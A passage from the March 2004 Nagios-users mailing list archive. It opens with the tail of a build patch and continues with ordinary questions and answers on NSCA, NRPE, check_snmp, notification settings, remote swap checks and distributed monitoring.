$(CC) $(CFLAGS) extinfo.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(DDATALIBS) $(LDFLAGS) -o $@ history.cgi: history.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) history.c $(CGILIBS) $(LIFOLIBS) $(LDFLAGS) -o $@ ministatus.cgi: ministatus.c $(CGIDEPS) ! $(CC) $(CFLAGS) ministatus.c $(CGILIBS) $(LDFLAGS) -o $@ notifications.cgi: notifications.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) notifications.c $(CGILIBS) $(LIFOLIBS) $(LDFLAGS) -o $@ outages.cgi: outages.c $(CGIDEPS) $(CDATADEPS) ! $(CC) $(CFLAGS) outages.c $(CGILIBS) $(CDATALIBS) $(LDFLAGS) -o $@ showlog.cgi: showlog.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) showlog.c $(CGILIBS) $(LIFOLIBS) $(LDFLAGS) -o $@ status.cgi: status.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) status.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(LDFLAGS) -o $@ statuswml.cgi: statuswml.c $(CGIDEPS) ! $(CC) $(CFLAGS) statuswml.c $(CGILIBS) $(LDFLAGS) -o $@ statusmap.cgi: statusmap.c $(CGIDEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) statusmap.c $(CGILIBS) $(GDLIBS) $(EDATALIBS) $(LDFLAGS) -o $@ statuswrl.cgi: statuswrl.c $(CGIDEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) statuswrl.c $(CGILIBS) $(MATHLIBS) $(EDATALIBS) $(LDFLAGS) -o $@ summary.cgi: summary.c $(CGIDEPS) ! $(CC) $(CFLAGS) summary.c $(CGILIBS) $(LDFLAGS) -o $@ tac.cgi: tac.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) tac.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(LDFLAGS) -o $@ trends.cgi: trends.c $(CGIDEPS) ! $(CC) $(CFLAGS) trends.c $(CGILIBS) $(GDLIBS) $(LDFLAGS) -o $@ histogram.cgi: histogram.c $(CGIDEPS) ! $(CC) $(CFLAGS) histogram.c $(CGILIBS) $(GDLIBS) $(LDFLAGS) -o $@ clean: rm -f $(CGIS) *.o *.cfg *.sub core diff -Ncr nagios-1.2.orig/configure nagios-1.2/configure *** nagios-1.2.orig/configure 2003-06-02 23:47:57.000000000 -0400 --- nagios-1.2/configure 2003-09-09 13:42:00.000000000 -0400 *************** *** 2457,2463 **** echo $ac_n "(cached) $ac_c" 1>&6 else ac_save_LIBS="$LIBS" ! LIBS="-lmysqlclient $LIBS" cat > conftest.$ac_ext <&6 else ac_save_LIBS="$LIBS" ! LIBS="-lmysqlclient -lz $LIBS" cat > conftest.$ac_ext <&6 --- 2487,2493 ---- #define $ac_tr_lib 1 EOF ! LIBS="-lmysqlclient -lz $LIBS" else echo "$ac_t""no" 1>&6 From DavidB at etobin.com Wed Mar 10 16:29:13 2004 From: DavidB at etobin.com (David Barnett) Date: Wed, 10 Mar 2004 09:29:13 -0600 Subject: NSCA internal network Message-ID: Can you send NSCA passive check results over the Internet? Or does the server and client have to be on the same internal network? I am trying to send the results over the Internet so I can monitor clients that aren't on my local network. Thanks for any help -------------- next part -------------- An HTML attachment was scrubbed... URL: From vincent at ahoup.net Wed Mar 10 16:38:22 2004 From: vincent at ahoup.net (Vincent Derrien) Date: Wed, 10 Mar 2004 16:38:22 +0100 Subject: Nagios performances Message-ID: <200403101638.22683.vincent@ahoup.net> Hello, I want to supervise a network with Nagios. I have a Pentium IV with 512mo of memory and a 100mb LAN. I would like to know how many computer (with each 10 or 20 services) i can supervise ? And do you know benchmark about this ? Thanks in advance. Regards, -- Vincent Derrien vincent at ahoup.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Wed Mar 10 16:45:58 2004 From: jhmartin at toger.us (Jason Martin) Date: Wed, 10 Mar 2004 07:45:58 -0800 (PST) Subject: NSCA internal network In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nothing in NSCA prevents those results from traversing the internet, but if you are using a firewall the packets may be blocked. - -Jason Martin On Wed, 10 Mar 2004, David Barnett wrote: > Can you send NSCA passive check results over the Internet? Or does the > server and client have to be on the same internal network? I am trying > to send the results over the Internet so I can monitor clients that > aren't on my local network. Thanks for any help > > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFATzhDl2ODWuqVSBMRAjlNAKCdi4SjzR5azq6MrztbwwaWqd25XgCfffxz 8/saVKwxwKn0mlUDkpK1GTE= =cvS5 -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 10 16:57:23 2004 From: marc at ena.com (Marc Powell) Date: Wed, 10 Mar 2004 09:57:23 -0600 Subject: NSCA internal network Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A319@mismail2.ena.com> Yes. As long as the devices can communicate on your chosen port, they could be on opposite sides of the world. There is no 'broadcast' type protocol in use, only IP. -- Marc _____ From: David Barnett [mailto:DavidB at etobin.com] Sent: Wednesday, March 10, 2004 9:29 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] NSCA internal network Can you send NSCA passive check results over the Internet? Or does the server and client have to be on the same internal network? I am trying to send the results over the Internet so I can monitor clients that aren't on my local network. Thanks for any help -------------- next part -------------- An HTML attachment was scrubbed... URL: From smstetson at yahoo.com Wed Mar 10 17:37:20 2004 From: smstetson at yahoo.com (Steven Stetson) Date: Wed, 10 Mar 2004 08:37:20 -0800 (PST) Subject: Having trouble disabling notifications on *some/most* nsclient services Message-ID: <20040310163720.32115.qmail@web10411.mail.yahoo.com> Hello, I am a new nagios user whose goals for nagios primarily are to monitor Windows boxes (gasp!) using nsclient especially to gather perfmon counters and alert on them as needed. Thanks to the good documentation I have been able to get my server up and running and am currently gathering the perfmon stats as needed on a handful of test boxes. There are roughly 15-20 perfmon counters that I am monitoring on each of these test boxes (depending on what apps are installed on the monitored box). The first 3 boxes I selected to test on were chosen primarily because they were non-production machines. The test was successfull in that I was able to get the permon data, set thresholds which were followed, send notifications, etc. Once I saw that the clients were reliable, did not hammer the box, etc I installed nsclient on a few production machines which also went well. I was getting many alerts however, and wanted to disable notifications for the non-production test group. So, i duplicated my service definitions and created some whose notifications_enabled were set to '0'. I had success earlier using this with a service definition I had set up to get the uptime of the monitored box via nsclient. When I configured that uptime service the little icon which represents disabled notifications was displayed next to the service description on the 'Service Status Details For All Hosts' page. I read the manual again and the faqs to try to determine why this might occur. Listed below are 2 service descriptions. The top one does succeed in disabling notifications, while the 2nd does not. define service{ host_name cimsrv service_description Uptime check_command check_nt_uptime max_check_attempts 5 normal_check_interval 60 retry_check_interval 60 check_period 24x7 process_perf_data 1 notification_interval 1440 notification_period 24x7 notification_options w,c,r notifications_enabled 0 contact_groups systems } define service{ host_name cimsrv service_description Processor Percent Utilization check_command check_nt_processor_percent_utilization!60!80 max_check_attempts 5 normal_check_interval 1 retry_check_interval 1 check_period 24x7 process_perf_data 1 notification_interval 1440 notification_period 24x7 notification_options w,c,r notifications_enabled 0 contact_groups systems } I did finally succeed in disabling notifications, but only through the web tool's 'Disable notifications for this service' link (/cmd.cgi?cmd_typ=23&host=playlist07&service=xxx). After I did that I couldn't detect that the .cfg file with the service definition had been changed. What is the cgi doing that I can not? Here are some of the things I tried unsuccessfully or thought of: Program-Wide Filter: Set enable_notifications directive in nagios.cfg to 0. Not appropriate since I do need other notifications. Service and Host Filters: Sheduled downtime. I suppose I could set up a downtime which would prevent a notification, but the max is 99 hours 99 minutes. Flapping. I can't cause it to think it's flapping. Notification options. This is what I'm having trouble with. I tried changing the options so that on recoveries were sent out (which I believe would not happen since no outage had been sent), but it created a warning in the sanity check. And I would like to keep the sanity check clean. I also thought that maybe the reason that uptime worked, but the others didn't was because nsclient doesn't accept warning or critical arguments for that check. I tried to call the CPULOAD check without the warning and critical arguments but the client expected them. Notification Period. I couldn't find a way to create a time period which meant never. Contact Filter: I suppose I could set up a bogus contact definition and send no_notify services to that address so that I wouldn't see this problem. Since I am in a primarily Windows shop (gasp! again) I haven't been asked to monitor any *nix boxes with Nagios. So this could be a nsclient related issue. Sorry for the long post. I wanted to present as much background as possible to preempt 'did you try this' replies. I think everything I've tried is listed here. If you don't see something here and think it might help me - thanks in advance. Steve __________________________________ Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster http://search.yahoo.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.saucier at dolanmedia.com Wed Mar 10 19:24:14 2004 From: jeff.saucier at dolanmedia.com (Jeff Saucier) Date: Wed, 10 Mar 2004 12:24:14 -0600 Subject: check_snmp plug in Message-ID: <003901c406cc$e46473a0$e626010a@dolanmedia.com> Hello, I've got Nagios-1.1_3 and Nagios-plugins-1.3.1 running on FreeBSD 4.8. I'm looking for check_snmp and it's not installed with the other plugins located in /usr/local/libexec/nagios. Where can I get it? Thanks. Jeff Saucier Technical Infrastructure Analyst Dolan Media Company 612.317.9428 -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve-nagios at spwiz.com Wed Mar 10 19:30:09 2004 From: steve-nagios at spwiz.com (Steve Meyers) Date: Wed, 10 Mar 2004 11:30:09 -0700 Subject: Scheduling queue In-Reply-To: <1078860519.26978.56.camel@quigon.internal.securemingle.com> References: <1078855335.26978.46.camel@quigon.internal.securemingle.com> <1078860519.26978.56.camel@quigon.internal.securemingle.com> Message-ID: <1078943409.1392.6.camel@quigon.internal.securemingle.com> On Tue, 2004-03-09 at 12:28, Steve Meyers wrote: > The load on the server is 0.02, 0.04, 0.00. > > My service_reaper_frequency is 10, and my max_concurrent_checks is 0. > What other info can I provide? Can anybody help me with this? What other info can I provide to help? I just want my Nagios server to run the checks when I tell it to run them.... I have run the exact same configuration on RH73, and it worked like a champ. On Fedora, I'm having problems. Are there any libraries that could be causing problems, or anything else like that? Thanks! Steve Meyers ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 10 19:50:44 2004 From: marc at ena.com (Marc Powell) Date: Wed, 10 Mar 2004 12:50:44 -0600 Subject: check_snmp plug in Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A31A@mismail2.ena.com> >From: Jeff Saucier [mailto:jeff.saucier at dolanmedia.com] >Sent: Wednesday, March 10, 2004 12:24 PM >To: 'Nagios' >Subject: [Nagios-users] check_snmp plug in > >Hello, > >I've got Nagios-1.1_3 and Nagios-plugins-1.3.1 running on FreeBSD 4.8. I'm looking for check_snmp and it's not installed with the >other plugins located in /usr/local/libexec/nagios. Where can I get it? > It's included as a standard plugin but you must have Net-SNMP installed for it to be compiled. Configure should have complained as such -- "** Get snmpget from http://net-snmp.sourceforge.net to make check_hpjd and check_snmp plugins" -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matthewwilson at dsl.pipex.com Wed Mar 10 20:45:16 2004 From: matthewwilson at dsl.pipex.com (Matthew Wilson) Date: Wed, 10 Mar 2004 19:45:16 -0000 Subject: Repost:: building plugins - --with-ping-command Message-ID: <001101c406d8$36dbe5e0$0800a8c0@optiplex> Anyone any ideas on this? ----- Original Message ----- From: "Matthew Wilson" To: Sent: Saturday, March 06, 2004 4:27 PM Subject: [Nagios-users] building plugins - --with-ping-command > Hello list, > I need to build the check_ping plugin so it will use the command-line > options '-i 2 -s 20' to avoid some restrictions on our network. So with > nagios-plugins 1.3.1 I do > > #./configure --with-ping-command='/bin/ping -i 2 -n -s 20 -c %d %s' > The script correctly picks up the syntax... but after doing make all the > plugin will segfault! > > any suggestion greatly appreciated > Matthew Wilson > DC-Sat.net > > but then the plugin segfaults > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Angel.Javier.Ripa at ie.edu Wed Mar 10 19:48:33 2004 From: Angel.Javier.Ripa at ie.edu (Angel Javier Ripa) Date: Wed, 10 Mar 2004 19:48:33 +0100 Subject: mail notification sender Message-ID: <25786.1810307533$1078953955@news.gmane.org> Hello everyone, I would like to change the sender?s name in the notification mail. How can I do that? Regards. ?ngel. -------------- next part -------------- An HTML attachment was scrubbed... URL: From sundar.narayanasamy at medtronic.com Wed Mar 10 20:33:25 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Wed, 10 Mar 2004 12:33:25 -0700 Subject: Newbie: setting up swap space monitoring on a remote system Message-ID: Hello, How do I monitor the swap space on a remote system? I am able to do it on a local system, but not on a remote system. Any help is deeply appreciated? Sundar ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 10 22:38:04 2004 From: marc at ena.com (Marc Powell) Date: Wed, 10 Mar 2004 15:38:04 -0600 Subject: Newbie: setting up swap space monitoring on a remote system Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A31E@mismail2.ena.com> On Wednesday, March 10, 2004 1:33 PM, Narayanasamy, Sundar shared with us: > Hello, > > How do I monitor the swap space on a remote system? I am able to do > it on a local system, but not on a remote system. > > Any help is deeply appreciated? In order of simplicity: check-by-ssh, NRPE, or NSCA. Each has a different implementation strategy. Check-by-ssh will allow you to execute a plugin on a remote host via ssh. NRPE will allow you to connect to an NRPE daemon on the remote host and execute a plugin. NSCA will allow you to execute a plugin on the remote machine and report the results back to your nagios host passively (You'll need to actually execute the plugin through some other method like cron + wrapper script). I'm quite sure those three options are not an exhaustive list of possibilities. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 10 23:13:42 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 10 Mar 2004 22:13:42 +0000 Subject: Newbie: setting up swap space monitoring on a remote system In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A31E@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A31E@mismail2.ena.com> Message-ID: <20040310221342.30949.qmail@minnow.softflare.net> Marc Powell writes: > In order of simplicity: check-by-ssh, NRPE, or NSCA. Simplicity is not the only consideration. NSCA works when the monitored system does not have a fixed IP because it sends to the monitoring host. With the other two you need some sort of dynamic DNS solution to keep them working (also you get reported down-time until the dynamic DNS updates if the IP address changes). NRPE and check_by_ssh work when the monitoring system does not have a fixed IP but NSCA requires a dynamic DNS solution if the monitoring system does not have fixed IP. Check_by_ssh is secure, and if you're really paranoid you can use a different key file for every machine you connect to that way. NSCA is secure, but unless you run several daemons configured to use different passwords and respond on different ports, a user with sufficient privileges on one monitored machine could submit bogus results for other machines that you monitor. NRPE uses encryption to prevent people eavesdropping on responses, but relies completely upon tcpwrappers to prevent black hats submitting their own queries to machines that are monitored (which is fine, unless your monitoring machine does not have fixed IP, then you have to allow queries from a large subnet that may have black hats on it). > I'm quite sure those three options are not an exhaustive list of > possibilities. Another method is to use VPN technology. I see that SuperFreeSwan (various patches to the FreeSwan implementation of IPSEC) now implements the Cisco method of checking that tunnels are still up. The heartbeat extensions previously used were not just incapable of scaling well, they were horrible kludges. Now there is a sensible method of re-establishing tunnels after connectivity outages, I'll be looking at IPSEC as a replacement for the pptp technology we currently use (frighteningly insecure, because it's a Microsoft protocol, but it was designed on the basis that the internet suffers outages, which IPSEC wasn't). I still think that IPSEC is not a camel resulting from a horse being designed by a committee but a camel resulting from an ant designed by a committee. I still worry that Bruce Schneier states that pptp is provably insecure but IPSEC is so badly designed it's impossible to analyse the security in full. But my main problem with IPSEC to date is the lack of a mechanism to detect when one end of a tunnel goes away (for whatever reason - network outage, machine reboot, or whatever). ASDL links in the UK are very unreliable, so without a sensible mechanism to rapidly detect and recover from outages, IPSEC was a non-starter. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sundar.narayanasamy at medtronic.com Wed Mar 10 23:41:46 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Wed, 10 Mar 2004 15:41:46 -0700 Subject: newbie (check_nrpe) check_swap on a remote ssytem Message-ID: Hello, I installed NRPE to monitor swap space on remote system. I get following swap Space | WARNING | 03-10-2004 15:32:52 | 0d 0h 0m 19s | 3/3 | NRPE: Unable to read output I have following in the host checkcommands.cfg -------------------- 'check_nrpe' command definition define command{ command_name check_nrpe command_line $USER1$/check_nrpe -H $ARG1$ -c $ARG2$ } services.cfg ------------ # Service definition define service{ use generic-service ; Name of service template to use host_name mordac service_description swap Space is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups unix-admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_nrpe!mordac!check_swap } On the remote system command[check_swap]=/usr/local/nagios/libexec/check_swap -w 70% -c 80% Both host and remote client are running Solaris 8. I am running nagios 1.2 and nrpe-1.9_3-sol8-sparc-local. Any help is appreciated. Sundar ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From chris at bluecobras.com Thu Mar 11 01:20:07 2004 From: chris at bluecobras.com (Chris Hammond) Date: Wed, 10 Mar 2004 19:20:07 -0500 Subject: Canon ImageRunner check? In-Reply-To: <82681D63B37B9C4B955AAA4B04B3BF2C381F8B@twmail.esncc.com> References: <82681D63B37B9C4B955AAA4B04B3BF2C381F8B@twmail.esncc.com> Message-ID: <1078964406.4690.8.camel@localhost> On Tue, 2004-03-09 at 11:47, Antone, Nick wrote: > Sorry if this has been asked previously, I didn't find it anywhere.... > > I'm not a programmer, so writing my own plugin has been, well, a > non-starter. > > What I am looking for is a way to monitor a Canon ImageRunner > copier/printer via Nagios in a fashion similar to HP printers. > Currently ping is about it. I've not worked up SNMP yet, nor really > researched it with Canon either, so that may be the only route. > > Anyone looked at/worked on this yet? Ideas? I have looked into it but Canon is the one that has to support us. They do not release their proprietary MIB's without an NDA. My company has tried but they don't even want to offer the NDA to us. All that you will be able to monitor is the basic printer mib stuff. Chris ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From noah at mac.com Thu Mar 11 03:51:08 2004 From: noah at mac.com (Noah Leaman) Date: Wed, 10 Mar 2004 18:51:08 -0800 Subject: volatile state stalking - snmp traps service notifications In-Reply-To: <40484522.1050000@exponential-e.com> References: <40484522.1050000@exponential-e.com> Message-ID: I have over 70,000 interfaces/ports (just the up/up ones) for which I could receive linkDown and linkUp traps for. And this is just a sampling of hosts on our network to pilot nagios to see if it can do what we want. Doesn't it seem a little crazy to have to deal with that many services even if they are passive? And this is just linkDown and linkUp. What about all other possible traps that could be received? -- Noah On Friday, March 5, 2004, at 01:15 AM, Jim Mozley wrote: > Noah Leaman wrote: > >> How do you all address the issue of trap monitoring when you want >> notifications for them? > > I have done something similar with interfaces, the only way I know is > to define each interface as a service. I realise this is potentially a > lot of services. We do this on core network device interfaces, but > only define services for interfaces that are in use. This is an > automated process so as interfaces are activated/deactivated they are > added or removed from the Nagios configuration files. As the only > alerts are passive ones for these services, it isn't as though one is > introducing something like a vast increase in active checks. > > HTH, > > Jim Mozley > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Thu Mar 11 04:01:04 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Wed, 10 Mar 2004 22:01:04 -0500 Subject: Newbie: setting up swap space monitoring on a remote system In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A31E@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A31E@mismail2.ena.com> Message-ID: <20040310220104.6d7ce41a.karl@debisschop.net> On Wed, 10 Mar 2004 15:38:04 -0600 "Marc Powell" wrote: > On Wednesday, March 10, 2004 1:33 PM, Narayanasamy, Sundar shared with > us: > > > How do I monitor the swap space on a remote system? I am able to do > > it on a local system, but not on a remote system. > > ... check-by-ssh, NRPE, or NSCA ... > > I'm quite sure those three options are not an exhaustive list of > possibilities. leaves out check_snmp -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhennessy at mitchamcouncil.sa.gov.au Thu Mar 11 04:15:34 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Thu, 11 Mar 2004 13:45:34 +1030 Subject: check_fileage ... Message-ID: Hi All, I have a Windows 2000 server running the Nsclient (version 2.0.1). Here is the definition for the command that I am using in the checkcommand.cfg: # 'check_nt_fileage' command definition define command{ command_name check_nt_fileage command_line $USER1$/check_nt -H $HOSTADDRESS$ -p 1248 -v FILEAGE -l $ARG1$ -w $ARG2$ -c $ARG3$ } And here is the definition for the service: define service{ use generic-service ; Name of service template to use host_name Archimedes service_description GIS_Refresh is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 3 retry_check_interval 1 contact_groups network-admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_nt_fileage!G:\\Map_Data\\DCDB_Data\\Parcels_Properties\\mapextr.tab!1440!2880 } The problem I have got is that the result from this command is always: NSClient - ERROR: file not found When I change the check_nt_fileage to check for a file that resides on the C drive (ie C:\\temp.log) then this works (although it returns a weird number which doesn't mean too much to me). Are there any issues with checking files on Network drives? (as the G drive in the above statement is a mapped drive) Thanks, Justin ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From aj.mckee at nmtbmedia.com Thu Mar 11 05:27:27 2004 From: aj.mckee at nmtbmedia.com (AJ McKee) Date: Thu, 11 Mar 2004 04:27:27 -0000 Subject: Distributed Woes - Passive Check Results not being submitted to Master Message-ID: <002c01c40721$2958d7e0$cbe8fea9@core> Hi All, Okay so its 4:30am so I may be missing something really silly here but here goes. I have 2 servers, both running Nagios 1.2. One Is the master and one the slave. The slave host has been configured in accordance with the docs @ http://nagios.sourceforge.net/docs/1_0/distributed.html as has the master and I have used the scripts found in the Nagios source directory under contrib/eventhandlers (the distributed ones) On the slave OCSP is set to 1 and the command is set up to either one of the following event handlers in misccommands.cfg define command{ command_name submit_check_result command_line /usr/local/nagios/libexec/eventhandlers/submit_check_result $HOSTNAME$ '$SERVICEDESC$' $SERVICESTATE$ '$OUTPUT$' } define command{ command_name obsessive_svc_handler command_line /usr/local/nagios/libexec/eventhandlers/obsessive_svc_handler $HOSTNAME$ '$SERVICEDESC$' $SERVICESTATE$ '$OUTPUT$' } I have used a config with both of these at one stage or another. I have installed NSCA and tested communicatins between both hosts. All fine. I have called the scripts from the slave and sent data to the master server and seen the information appear there no problem. So the scripts are fine. Now when I am running Nagios on the slave, it does not submit data back to the Master. Tcpdump show nothing, I can see anything in the logs on either host especially on the Master where I should see the passive service check data. So obvisouly I have done something wrong. Anyone got any ideas? Any hellp welcomed & valued Yours AJ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without 